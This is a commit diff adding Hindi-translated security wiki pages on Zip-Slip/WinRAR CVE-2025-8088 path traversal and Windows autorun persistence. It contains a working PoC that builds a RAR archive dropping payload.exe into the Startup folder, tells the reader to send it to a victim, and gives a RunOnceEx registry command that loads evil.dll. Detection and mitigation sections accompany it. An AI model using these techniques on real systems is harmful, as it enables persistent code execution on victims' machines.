Translated ['src/generic-hacking/archive-extraction-path-traversal.md',

2025-10-10 18:36:50 +00:00 · 2025-08-13 22:16:37 +00:00 · 2025-08-13 22:16:37 +00:00 · e0a241d17c
commit e0a241d17c
parent 8f161db515
3 changed files with 102 additions and 25 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -79,6 +79,7 @@

 # 🧙‍♂️ Generic Hacking

+- [Archive Extraction Path Traversal](generic-hacking/archive-extraction-path-traversal.md)
 - [Brute Force - CheatSheet](generic-hacking/brute-force.md)
 - [Esim Javacard Exploitation](generic-hacking/esim-javacard-exploitation.md)
 - [Exfiltration](generic-hacking/exfiltration.md)
--- a/src/generic-hacking/archive-extraction-path-traversal.md
+++ b/src/generic-hacking/archive-extraction-path-traversal.md
@ -0,0 +1,68 @@
+# Archive Extraction Path Traversal ("Zip-Slip" / WinRAR CVE-2025-8088)
+
+{{#include ../banners/hacktricks-training.md}}
+
+## Overview
+
+कई आर्काइव फ़ॉर्मेट (ZIP, RAR, TAR, 7-ZIP, आदि) प्रत्येक प्रविष्टि को अपना **आंतरिक पथ** ले जाने की अनुमति देते हैं। जब एक एक्सट्रैक्शन उपयोगिता उस पथ को अंधाधुंध मानती है, तो `..` या एक **पूर्ण पथ** (जैसे `C:\Windows\System32\`) वाला एक तैयार किया गया फ़ाइल नाम उपयोगकर्ता द्वारा चुने गए निर्देशिका के बाहर लिखा जाएगा। इस प्रकार की भेद्यता को *Zip-Slip* या **आर्काइव एक्सट्रैक्शन पथ ट्रैवर्सल** के रूप में जाना जाता है।
+
+परिणामों में मनमाने फ़ाइलों को ओवरराइट करने से लेकर **रिमोट कोड निष्पादन (RCE)** को सीधे प्राप्त करने तक शामिल है, जैसे कि Windows *Startup* फ़ोल्डर में एक पेलोड डालना।
+
+## Root Cause
+
+1. हमलावर एक आर्काइव बनाता है जहाँ एक या एक से अधिक फ़ाइल हेडर में शामिल हैं:
+* सापेक्ष ट्रैवर्सल अनुक्रम (`..\..\..\Users\\victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe`)
+* पूर्ण पथ (`C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\payload.exe`)
+2. पीड़ित एक कमजोर उपकरण के साथ आर्काइव को निकालता है जो एम्बेडेड पथ पर भरोसा करता है बजाय इसके कि उसे साफ़ करे या चुने गए निर्देशिका के नीचे निष्कर्षण को मजबूर करे।
+3. फ़ाइल हमलावर-नियंत्रित स्थान में लिखी जाती है और अगली बार जब सिस्टम या उपयोगकर्ता उस पथ को ट्रिगर करता है, तो इसे निष्पादित/लोड किया जाता है।
+
+## Real-World Example – WinRAR ≤ 7.12 (CVE-2025-8088)
+
+Windows के लिए WinRAR (जिसमें `rar` / `unrar` CLI, DLL और पोर्टेबल स्रोत शामिल हैं) ने निष्कर्षण के दौरान फ़ाइल नामों को मान्य करने में विफलता दिखाई। एक दुर्भावनापूर्ण RAR आर्काइव जिसमें एक प्रविष्टि शामिल है:
+```text
+..\..\..\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe
+```
+**चुने गए आउटपुट निर्देशिका** के बाहर और उपयोगकर्ता के *Startup* फ़ोल्डर के अंदर समाप्त हो जाएगा। लॉगिन के बाद, Windows वहां मौजूद सभी चीज़ों को स्वचालित रूप से निष्पादित करता है, *स्थायी* RCE प्रदान करता है।
+
+### PoC आर्काइव तैयार करना (Linux/Mac)
+```bash
+# Requires rar >= 6.x
+mkdir -p "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
+cp payload.exe "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
+rar a -ep evil.rar evil/*
+```
+Options used:
+* `-ep`  – फ़ाइल पथों को ठीक उसी तरह स्टोर करें जैसे दिए गए हैं (आगे के `./` को **नहीं** हटाएं)।
+
+`evil.rar` को पीड़ित को भेजें और उन्हें इसे एक कमजोर WinRAR बिल्ड के साथ निकालने के लिए निर्देशित करें।
+
+### Observed Exploitation in the Wild
+
+ESET ने RomCom (Storm-0978/UNC2596) स्पीयर-फिशिंग अभियानों की रिपोर्ट की जो RAR आर्काइव को CVE-2025-8088 का दुरुपयोग करके अनुकूलित बैकडोर तैनात करने और रैनसमवेयर संचालन को सुविधाजनक बनाने के लिए संलग्न करती हैं।
+
+## Detection Tips
+
+* **Static inspection** – आर्काइव प्रविष्टियों की सूची बनाएं और किसी भी नाम को चिह्नित करें जिसमें `../`, `..\\`, *absolute paths* (`C:`) या गैर-मानक UTF-8/UTF-16 एन्कोडिंग शामिल हैं।
+* **Sandbox extraction** – एक *safe* extractor (जैसे, Python का `patool`, 7-Zip ≥ नवीनतम, `bsdtar`) का उपयोग करके एक नष्ट करने योग्य निर्देशिका में डिकंप्रेस करें और सुनिश्चित करें कि परिणामस्वरूप पथ निर्देशिका के अंदर रहते हैं।
+* **Endpoint monitoring** – WinRAR/7-Zip/etc. द्वारा एक आर्काइव खोले जाने के तुरंत बाद `Startup`/`Run` स्थानों पर लिखे गए नए निष्पादन योग्य पर अलर्ट करें।
+
+## Mitigation & Hardening
+
+1. **Extractor को अपडेट करें** – WinRAR 7.13 उचित पथ स्वच्छता लागू करता है। उपयोगकर्ताओं को इसे मैन्युअल रूप से डाउनलोड करना होगा क्योंकि WinRAR में ऑटो-अपडेट तंत्र की कमी है।
+2. जब संभव हो, **“Ignore paths”** विकल्प (WinRAR: *Extract → "Do not extract paths"*) के साथ आर्काइव निकालें।
+3. अविश्वसनीय आर्काइव को **एक सैंडबॉक्स** या VM के अंदर खोलें।
+4. एप्लिकेशन व्हाइटलिस्टिंग लागू करें और उपयोगकर्ता लेखन पहुंच को ऑटो-रन निर्देशिकाओं तक सीमित करें।
+
+## Additional Affected / Historical Cases
+
+* 2018 – Snyk द्वारा बड़े *Zip-Slip* सलाहकार जो कई Java/Go/JS पुस्तकालयों को प्रभावित करता है।
+* 2023 – 7-Zip CVE-2023-4011 के दौरान `-ao` मर्ज में समान ट्रैवर्सल।
+* कोई भी कस्टम निष्कर्षण लॉजिक जो लिखने से पहले `PathCanonicalize` / `realpath` को कॉल करने में विफल रहता है।
+
+## References
+
+- [BleepingComputer – WinRAR zero-day exploited to plant malware on archive extraction](https://www.bleepingcomputer.com/news/security/winrar-zero-day-flaw-exploited-by-romcom-hackers-in-phishing-attacks/)
+- [WinRAR 7.13 Changelog](https://www.win-rar.com/singlenewsview.html?&L=0&tx_ttnews%5Btt_news%5D=283&cHash=a64b4a8f662d3639dec8d65f47bc93c5)
+- [Snyk – Zip Slip vulnerability write-up](https://snyk.io/research/zip-slip-vulnerability)
+
+{{#include ../banners/hacktricks-training.md}}
--- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
@ -26,7 +26,7 @@ schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgro
 ```
 ## Folders

-सभी बाइनरी जो **Startup folders में स्थित हैं, स्टार्टअप पर निष्पादित होने जा रही हैं**। सामान्य स्टार्टअप फोल्डर वे हैं जो आगे सूचीबद्ध हैं, लेकिन स्टार्टअप फोल्डर रजिस्ट्री में निर्दिष्ट है। [Read this to learn where.](privilege-escalation-with-autorun-binaries.md#startup-path)
+सभी बाइनरी जो **Startup folders में स्थित हैं, स्टार्टअप पर निष्पादित होने वाली हैं**। सामान्य स्टार्टअप फोल्डर वे हैं जो आगे सूचीबद्ध हैं, लेकिन स्टार्टअप फोल्डर रजिस्ट्री में निर्दिष्ट है। [Read this to learn where.](privilege-escalation-with-autorun-binaries.md#startup-path)
 ```bash
 dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul
 dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul
@ -35,12 +35,20 @@ dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
 Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
 Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
 ```
-## Registry
+> **FYI**: आर्काइव निष्कर्षण *पथ यात्रा* कमजोरियों (जैसे कि WinRAR में 7.13 से पहले का एक, CVE-2025-8088) का उपयोग **इन स्टार्टअप फ़ोल्डरों के अंदर सीधे पेलोड जमा करने के लिए किया जा सकता है**, जिससे अगले उपयोगकर्ता लॉगिन पर कोड निष्पादन होता है। इस तकनीक में गहराई से जाने के लिए देखें:

-> [!NOTE]
-> [Note from here](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f): **Wow6432Node** रजिस्ट्री प्रविष्टि यह संकेत करती है कि आप 64-बिट Windows संस्करण चला रहे हैं। ऑपरेटिंग सिस्टम इस कुंजी का उपयोग 64-बिट Windows संस्करणों पर चलने वाले 32-बिट अनुप्रयोगों के लिए HKEY_LOCAL_MACHINE\SOFTWARE का एक अलग दृश्य प्रदर्शित करने के लिए करता है।
+{{#ref}}
+../../generic-hacking/archive-extraction-path-traversal.md
+{{#endref}}

-### Runs
+
+
+## रजिस्ट्री
+
+> [!TIP]
+> [यहां से नोट](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f): **Wow6432Node** रजिस्ट्री प्रविष्टि इंगित करती है कि आप 64-बिट Windows संस्करण चला रहे हैं। ऑपरेटिंग सिस्टम इस कुंजी का उपयोग 64-बिट Windows संस्करणों पर चलने वाले 32-बिट अनुप्रयोगों के लिए HKEY_LOCAL_MACHINE\SOFTWARE का एक अलग दृश्य प्रदर्शित करने के लिए करता है।
+
+### रन

 **सामान्यतः ज्ञात** AutoRun रजिस्ट्री:

@ -58,7 +66,7 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"

 **Run** और **RunOnce** के रूप में ज्ञात रजिस्ट्री कुंजियाँ हर बार जब एक उपयोगकर्ता सिस्टम में लॉग इन करता है, तो स्वचालित रूप से कार्यक्रमों को निष्पादित करने के लिए डिज़ाइन की गई हैं। कुंजी के डेटा मान के रूप में असाइन की गई कमांड लाइन 260 वर्णों या उससे कम तक सीमित है।

-**Service runs** (बूट के दौरान सेवाओं के स्वचालित प्रारंभ को नियंत्रित कर सकते हैं):
+**सेवा चलती है** (बूट के दौरान सेवाओं के स्वचालित प्रारंभ को नियंत्रित कर सकती है):

 - `HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
 - `HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
@ -74,14 +82,14 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
 - `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx`
 - `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx`

-Windows Vista और बाद के संस्करणों पर, **Run** और **RunOnce** रजिस्ट्री कुंजियाँ स्वचालित रूप से उत्पन्न नहीं होती हैं। इन कुंजियों में प्रविष्टियाँ या तो सीधे कार्यक्रमों को प्रारंभ कर सकती हैं या उन्हें निर्भरताओं के रूप में निर्दिष्ट कर सकती हैं। उदाहरण के लिए, लॉगिन पर एक DLL फ़ाइल लोड करने के लिए, कोई **RunOnceEx** रजिस्ट्री कुंजी का उपयोग कर सकता है साथ ही एक "Depend" कुंजी। यह "C:\temp\evil.dll" को सिस्टम स्टार्ट-अप के दौरान निष्पादित करने के लिए रजिस्ट्री प्रविष्टि जोड़कर प्रदर्शित किया गया है:
+Windows Vista और बाद के संस्करणों पर, **Run** और **RunOnce** रजिस्ट्री कुंजियाँ स्वचालित रूप से उत्पन्न नहीं होती हैं। इन कुंजियों में प्रविष्टियाँ या तो सीधे कार्यक्रमों को प्रारंभ कर सकती हैं या उन्हें निर्भरताओं के रूप में निर्दिष्ट कर सकती हैं। उदाहरण के लिए, लॉगिन पर एक DLL फ़ाइल लोड करने के लिए, कोई **RunOnceEx** रजिस्ट्री कुंजी का उपयोग कर सकता है साथ ही "Depend" कुंजी। यह "C:\temp\evil.dll" को सिस्टम स्टार्ट-अप के दौरान निष्पादित करने के लिए रजिस्ट्री प्रविष्टि जोड़कर प्रदर्शित किया गया है:
 ```
 reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d "C:\\temp\\evil.dll"
 ```
-> [!NOTE]
+> [!TIP]
 > **Exploit 1**: यदि आप **HKLM** के अंदर किसी भी उल्लेखित रजिस्ट्री के अंदर लिख सकते हैं, तो आप तब विशेषाधिकार बढ़ा सकते हैं जब कोई अन्य उपयोगकर्ता लॉग इन करता है।

-> [!NOTE]
+> [!TIP]
 > **Exploit 2**: यदि आप **HKLM** के अंदर किसी भी रजिस्ट्री पर संकेतित किसी भी बाइनरी को ओवरराइट कर सकते हैं, तो आप उस बाइनरी को एक बैकडोर के साथ संशोधित कर सकते हैं जब कोई अन्य उपयोगकर्ता लॉग इन करता है और विशेषाधिकार बढ़ा सकते हैं।
 ```bash
 #CMD
@ -145,10 +153,10 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\Ru
 - `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
 - `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`

-**Startup** फ़ोल्डर में रखे गए शॉर्टकट उपयोगकर्ता लॉगिन या सिस्टम रिबूट के दौरान सेवाओं या अनुप्रयोगों को स्वचालित रूप से लॉन्च करने के लिए ट्रिगर करेंगे। **Startup** फ़ोल्डर का स्थान रजिस्ट्री में **Local Machine** और **Current User** स्कोप के लिए परिभाषित है। इसका मतलब है कि इन निर्दिष्ट **Startup** स्थानों में जोड़ा गया कोई भी शॉर्टकट सुनिश्चित करेगा कि लिंक की गई सेवा या प्रोग्राम लॉगिन या रिबूट प्रक्रिया के बाद शुरू हो जाए, जिससे प्रोग्राम को स्वचालित रूप से चलाने के लिए एक सीधा तरीका बनता है।
+**Startup** फ़ोल्डर में रखे गए शॉर्टकट उपयोगकर्ता लॉगिन या सिस्टम रिबूट के दौरान सेवाओं या अनुप्रयोगों को स्वचालित रूप से लॉन्च करने के लिए ट्रिगर करेंगे। **Startup** फ़ोल्डर का स्थान रजिस्ट्री में **Local Machine** और **Current User** दोनों स्कोप के लिए परिभाषित है। इसका मतलब है कि इन निर्दिष्ट **Startup** स्थानों में जो भी शॉर्टकट जोड़ा जाएगा, वह लॉगिन या रिबूट प्रक्रिया के बाद जुड़े हुए सेवा या कार्यक्रम को शुरू करने की सुनिश्चितता देगा, जिससे कार्यक्रमों को स्वचालित रूप से चलाने के लिए शेड्यूल करने का यह एक सीधा तरीका बन जाता है।

-> [!NOTE]
-> यदि आप **HKLM** के तहत किसी भी \[User] Shell Folder को ओवरराइट कर सकते हैं, तो आप इसे एक फ़ोल्डर की ओर इंगित कर सकते हैं जिसे आप नियंत्रित करते हैं और एक बैकडोर रख सकते हैं जो किसी भी समय उपयोगकर्ता के सिस्टम में लॉग इन करने पर निष्पादित होगा, जिससे विशेषाधिकार बढ़ेंगे।
+> [!TIP]
+> यदि आप **HKLM** के तहत किसी भी \[User] Shell Folder को ओवरराइट कर सकते हैं, तो आप इसे एक ऐसे फ़ोल्डर की ओर इंगित कर सकेंगे जिसे आप नियंत्रित करते हैं और एक बैकडोर रख सकते हैं जो किसी भी बार जब उपयोगकर्ता सिस्टम में लॉग इन करता है, तब निष्पादित होगा, जिससे विशेषाधिकार बढ़ेंगे।
 ```bash
 reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
 reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup"
@ -171,7 +179,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell
 Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Userinit"
 Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell"
 ```
-> [!NOTE]
+> [!TIP]
 > यदि आप रजिस्ट्री मान या बाइनरी को ओवरराइट कर सकते हैं, तो आप विशेषाधिकार बढ़ा सकेंगे।

 ### नीति सेटिंग्स
@ -194,13 +202,13 @@ Windows Registry में `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot` क

 "Safe Mode with Command Prompt" में स्वचालित रूप से शुरू करने के लिए बूट विकल्प बनाने के चरण:

-1. `boot.ini` फ़ाइल के गुणों को बदलें ताकि पढ़ने-के-लिए-केवल, सिस्टम, और छिपे हुए ध्वज हटा दिए जाएं: `attrib c:\boot.ini -r -s -h`
+1. `boot.ini` फ़ाइल के गुणों को बदलें ताकि पढ़ने के लिए केवल, सिस्टम, और छिपे हुए ध्वज हटा सकें: `attrib c:\boot.ini -r -s -h`
 2. संपादन के लिए `boot.ini` खोलें।
 3. एक पंक्ति डालें जैसे: `multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)`
 4. `boot.ini` में परिवर्तन सहेजें।
 5. मूल फ़ाइल गुणों को फिर से लागू करें: `attrib c:\boot.ini +r +s +h`

- **Exploit 1:** **AlternateShell** रजिस्ट्री कुंजी को बदलने से कस्टम कमांड शेल सेटअप की अनुमति मिलती है, संभावित रूप से अनधिकृत पहुंच के लिए।
+- **Exploit 1:** **AlternateShell** रजिस्ट्री कुंजी को बदलने से कस्टम कमांड शेल सेटअप की अनुमति मिलती है, जो संभावित रूप से अनधिकृत पहुंच के लिए हो सकता है।
 - **Exploit 2 (PATH Write Permissions):** सिस्टम **PATH** वेरिएबल के किसी भी भाग पर लिखने की अनुमति होना, विशेष रूप से `C:\Windows\system32` से पहले, आपको एक कस्टम `cmd.exe` निष्पादित करने की अनुमति देता है, जो यदि सिस्टम Safe Mode में शुरू होता है तो एक बैकडोर हो सकता है।
 - **Exploit 3 (PATH और boot.ini Write Permissions):** `boot.ini` पर लिखने की पहुंच स्वचालित Safe Mode स्टार्टअप को सक्षम बनाती है, अगली रिबूट पर अनधिकृत पहुंच को सुविधाजनक बनाती है।

@ -211,7 +219,7 @@ Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Co
 ```
 ### Installed Component

-Active Setup एक फीचर है Windows में जो **डेस्कटॉप वातावरण पूरी तरह से लोड होने से पहले शुरू होता है**। यह कुछ कमांड्स के निष्पादन को प्राथमिकता देता है, जिन्हें उपयोगकर्ता लॉगिन से पहले पूरा करना आवश्यक है। यह प्रक्रिया अन्य स्टार्टअप प्रविष्टियों, जैसे कि रन या रनओन्स रजिस्ट्री सेक्शन में, सक्रिय होने से पहले होती है।
+Active Setup एक फीचर है Windows में जो **डेस्कटॉप वातावरण पूरी तरह से लोड होने से पहले शुरू होता है**। यह कुछ कमांड्स के निष्पादन को प्राथमिकता देता है, जिन्हें उपयोगकर्ता लॉगिन आगे बढ़ने से पहले पूरा करना आवश्यक है। यह प्रक्रिया अन्य स्टार्टअप प्रविष्टियों, जैसे कि Run या RunOnce रजिस्ट्री सेक्शन में, सक्रिय होने से पहले होती है।

 Active Setup निम्नलिखित रजिस्ट्री कुंजियों के माध्यम से प्रबंधित किया जाता है:

@ -220,7 +228,7 @@ Active Setup निम्नलिखित रजिस्ट्री कु
 - `HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components`
 - `HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components`

-इन कुंजियों के भीतर, विभिन्न उपकुंजियाँ मौजूद हैं, प्रत्येक एक विशिष्ट घटक के लिए। विशेष रुचि के कुंजी मानों में शामिल हैं:
+इन कुंजियों के भीतर, विभिन्न उपकुंजियाँ मौजूद हैं, प्रत्येक एक विशिष्ट घटक के लिए। विशेष रुचि के कुंजी मान शामिल हैं:

 - **IsInstalled:**
 - `0` इंगित करता है कि घटक का कमांड निष्पादित नहीं होगा।
@ -229,7 +237,7 @@ Active Setup निम्नलिखित रजिस्ट्री कु

 **Security Insights:**

- एक कुंजी को संशोधित करना या उसमें लिखना जहां **`IsInstalled`** `"1"` पर सेट है और एक विशिष्ट **`StubPath`** के साथ, अनधिकृत कमांड निष्पादन का कारण बन सकता है, संभावित रूप से विशेषाधिकार वृद्धि के लिए।
+- एक कुंजी को संशोधित करना या लिखना जहां **`IsInstalled`** `"1"` पर सेट है और एक विशिष्ट **`StubPath`** के साथ, अनधिकृत कमांड निष्पादन की ओर ले जा सकता है, संभावित रूप से विशेषाधिकार वृद्धि के लिए।
 - किसी भी **`StubPath`** मान में संदर्भित बाइनरी फ़ाइल को बदलना भी विशेषाधिकार वृद्धि प्राप्त कर सकता है, यदि पर्याप्त अनुमतियाँ हों।

 Active Setup घटकों के बीच **`StubPath`** कॉन्फ़िगरेशन की जांच करने के लिए, इन कमांड्स का उपयोग किया जा सकता है:
@ -241,20 +249,20 @@ reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components
 ```
 ### Browser Helper Objects

-### Browser Helper Objects (BHOs) का अवलोकन
+### Overview of Browser Helper Objects (BHOs)

-Browser Helper Objects (BHOs) DLL मॉड्यूल हैं जो Microsoft's Internet Explorer में अतिरिक्त सुविधाएँ जोड़ते हैं। ये Internet Explorer और Windows Explorer में प्रत्येक स्टार्ट पर लोड होते हैं। फिर भी, इनका निष्पादन **NoExplorer** कुंजी को 1 सेट करके रोका जा सकता है, जिससे ये Windows Explorer उदाहरणों के साथ लोड नहीं होते हैं।
+Browser Helper Objects (BHOs) DLL मॉड्यूल हैं जो Microsoft's Internet Explorer में अतिरिक्त सुविधाएँ जोड़ते हैं। ये Internet Explorer और Windows Explorer में प्रत्येक स्टार्ट पर लोड होते हैं। फिर भी, इनका निष्पादन **NoExplorer** कुंजी को 1 सेट करके रोका जा सकता है, जिससे ये Windows Explorer उदाहरणों के साथ लोड नहीं होते।

-BHOs Windows 10 के साथ Internet Explorer 11 के माध्यम से संगत हैं लेकिन Microsoft Edge, जो नए संस्करणों में डिफ़ॉल्ट ब्राउज़र है, में समर्थित नहीं हैं।
+BHOs Windows 10 के साथ Internet Explorer 11 के माध्यम से संगत हैं लेकिन Microsoft Edge में समर्थित नहीं हैं, जो नए संस्करणों में Windows का डिफ़ॉल्ट ब्राउज़र है।

-सिस्टम पर पंजीकृत BHOs का अन्वेषण करने के लिए, आप निम्नलिखित रजिस्ट्री कुंजियों की जांच कर सकते हैं:
+सिस्टम पर पंजीकृत BHOs का पता लगाने के लिए, आप निम्नलिखित रजिस्ट्री कुंजियों की जांच कर सकते हैं:

 - `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`
 - `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`

 प्रत्येक BHO को रजिस्ट्री में इसके **CLSID** द्वारा दर्शाया जाता है, जो एक अद्वितीय पहचानकर्ता के रूप में कार्य करता है। प्रत्येक CLSID के बारे में विस्तृत जानकारी `HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}` के तहत मिल सकती है।

-रजिस्ट्री में BHOs को क्वेरी करने के लिए, इन कमांड का उपयोग किया जा सकता है:
+रजिस्ट्री में BHOs को क्वेरी करने के लिए, इन कमांड्स का उपयोग किया जा सकता है:
 ```bash
 reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
 reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
@ -293,13 +301,13 @@ HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Executi
 ```
 ## SysInternals

-ध्यान दें कि सभी साइटें जहां आप autoruns पा सकते हैं, **पहले से ही खोजी गई हैं**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe)। हालाँकि, **स्वचालित रूप से निष्पादित** फ़ाइलों की **अधिक व्यापक सूची** के लिए आप systinternals से [autoruns ](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) का उपयोग कर सकते हैं:
+ध्यान दें कि सभी साइटें जहां आप autoruns पा सकते हैं **पहले से ही खोजी गई हैं**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe)। हालाँकि, **स्वचालित रूप से निष्पादित** फ़ाइलों की **अधिक व्यापक सूची** के लिए आप systinternals से [autoruns ](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) का उपयोग कर सकते हैं:
 ```
 autorunsc.exe -m -nobanner -a * -ct /accepteula
 ```
 ## More

-**Autoruns जैसे और खोजें जो रजिस्ट्रियों में हैं** [**https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2**](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2)
+**अधिक Autoruns जैसे रजिस्ट्रियों को खोजें** [**https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2**](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2)

 ## References